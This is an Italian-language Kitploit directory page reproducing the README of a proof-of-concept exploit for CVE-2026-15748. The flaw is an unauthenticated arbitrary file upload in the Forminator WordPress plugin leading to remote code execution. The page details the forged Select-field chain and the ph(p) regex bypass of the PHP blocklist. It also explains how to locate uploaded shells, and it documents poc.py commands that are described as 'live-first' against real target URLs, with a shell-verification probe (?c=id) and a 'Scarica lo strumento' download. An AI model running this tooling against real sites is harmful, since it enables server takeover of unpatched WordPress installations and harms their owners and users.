Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento | Kitploit
Strumenti/GitHubGitHub/ubaydev/cve-2026-15748
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Caricamento arbitrario di file non autenticato tramite configurazione contraffatta del campo di caricamento

Vedi Repository
71 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-15748 — Caricamento arbitrario di file senza autenticazione in Forminator Forms → RCE

CVSS 9.8 (Critico) · Versioni interessate: Forminator <= 1.56.1 · Corretta: 1.56.2 Ricercatore: daroo (Wordfence Bug Bounty, $2,048) · ~600k installazioni attive Report: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Catena della causa principale

Tre debolezze concatenate tramite un valore falsificato del campo Select:

  1. Nessuna sanificazione sugli array di campi annidati — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() itera ogni campo memorizzato. Per il campo Select memorizzato select-1, $field_data = prepared_data['select-1'] (array annidato controllato dall'attaccante). Quando contiene return, l'array viene aggiunto interamente a field_data_array (front-action.php ~riga 1088), prima di qualsiasi sanificazione/validazione per campo. maybe_handle_custom_option() non li rimuove.

  2. Configurazione di campo non attendibile considerata affidabile durante l'upload — Forminator_CForm_Front_Action::process_uploads() itera field_data_array, si fida del field_type == 'upload' falsificato, usa il name falsificato per selezionare un input $_FILES, e passa field_array falsificato come configurazione affidabile a Forminator_Upload::handle_file_upload().

  3. Bypass della blocklist tramite chiave esatta — forminator_allowed_mime_types() rimuove la chiave letterale php, ma wp_check_filetype() tratta le chiavi come regex. La chiave ph(p) sopravvive alla blocklist ma corrisponde al suffisso .php. additional-type = ph(p)|text/x-php permette a un file .php di superare la validazione.

Condizione di sfruttabilità

Un form pubblicato deve contenere sia un campo File Upload sia un campo Select. Select è solo il veicolo.

Avvertenza sull'esecuzione (VERIFICATA IN LAB)

  • Il caricamento di .php arbitrari su disco riesce per impostazione predefinita (nessuna configurazione speciale necessaria per la scrittura).
  • Per la RCE è necessario che la root di upload non abbia Apache .htaccess. La root predefinita di Forminator e una root personalizzata ricevono entrambe un .htaccess che blocca PHP (SetHandler none / RemoveHandler). La RCE scatta solo quando quel .htaccess è assente — lo scenario del report: "root di storage personalizzata creata durante una richiesta frontend in cui insert_with_markers() non è caricato".
  • In laboratorio abbiamo ottenuto la RCE usando una root di storage personalizzata e simulando lo stato senza .htaccess.

Percorso di upload e hash (importante per i test live)

  • Root predefinita: wp-content/uploads/forminator/ → file in wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Root personalizzata: se l'amministratore ha impostato forminator_custom_upload_root (es. cveuploads), i file finiscono in wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • L'<hash> è wp_hash($form_id) — derivato dai salt AUTH del sito, quindi non prevedibile esternamente. poc.py stampa il pattern del percorso; per completarlo devi recuperare l'hash (directory listing, URL/log di un file già caricato, una voce nell'admin, ecc.) tramite --form-hash.
  • Nome del file caricato = wp_generate_password(12,false,false) . '-' . <original> → es. cX3fRjMDDu03-shell.php (12 caratteri alfanumerici casuali + - + nome originale).

Utilizzo — poc.py

Progettato per essere live-first; gli helper per il laboratorio locale (scansione del file system, rimozione del .htaccess) sono limitati a http://wordpresslab.test / http://localhost.

# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Flag

FlagSignificato
--targetURL base (o URL completo della pagina quando non ci sono --page-id/manuale)
--page-idid del post; se vuoto, viene recuperata la URL target stessa per nonce/form_id
--form-id, --noncebypassa la scoperta; recupera comunque la pagina per la raccolta --auto
--upload-fieldnome del campo upload genuino (default upload-1)
--forge-nameveicolo $_FILES falsificato (default = nome genuino, modalità collisione; usa un nome distinto per un success=True pulito)
--selectcampo select da usare (default select-1)
--extra name=valueforza un valore di campo (ripetibile; --extra 'checkbox-1[]=a+b' per più valori)
--auto / --no-autoraccoglie i campi reali del form dall'HTML e auto-compila valori plausibili in base al tipo (default attivo)
--upload-rootroot di upload relativa (default wp-content/uploads/forminator; imposta es. wp-content/uploads/cveuploads per root personalizzata)
--form-hashla parte <hash> della directory di upload → completa/stampa una URL concreta
--verify-urllive: sonda una URL di shell candidata con ?c=id/?c=whoami
--find-shellsolo locale (wordpresslab.test/localhost): trova la *-shell.php più recente, rimuove .htaccess, esegue
--no-htaccessstampa la nota sulla rimozione del .htaccess nel lab locale

Mappatura dei valori --auto (estratti dal HTML del form)

Tipo di campoValore generato
email / il nome contiene emailauto<rand>@mailinator.com
tel / il nome contiene phone10 cifre casuali
url / il nome contiene urlhttps://example.com/<rand>
numbernumero casuale 1–9999
date2026-08-19
gruppo checkbox/radio name[]primo valore di opzione (vengono scansionati tutti gli input con lo stesso nome)
checkbox/radio singoloattributo value, fallback checked
<select> (non veicolo)prima opzione non vuota
<textarea>testo casuale
testo semplice10 caratteri casuali

Esclusi: campi interni (action/form_id/nonce/...), type="file" (upload-*), select-* (veicolo dell'exploit), calculation-* (calcolati) e campi di plugin esterni (wpforms[...]).

Riproduzione in laboratorio (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Setup:

  • Form con un campo Upload genuino + un campo Select (creato tramite build_form.php, API Forminator_Form_Model).
  • Root di storage upload personalizzata abilitata (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads) per poter dimostrare la RCE. cveuploads/ è un artefatto da laboratorio, non un default di Forminator.
  • Nota di progettazione: per un success=True pulito, il name falsificato deve differire dall'element_id del campo upload genuino. Un nome in collisione carica comunque il file ma il campo genuino esegue anche il proprio controllo mime di default → la risposta riporta un errore mentre la shell è già su disco.

Prova grezza (esecuzione in lab):

# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
Scarica lo strumento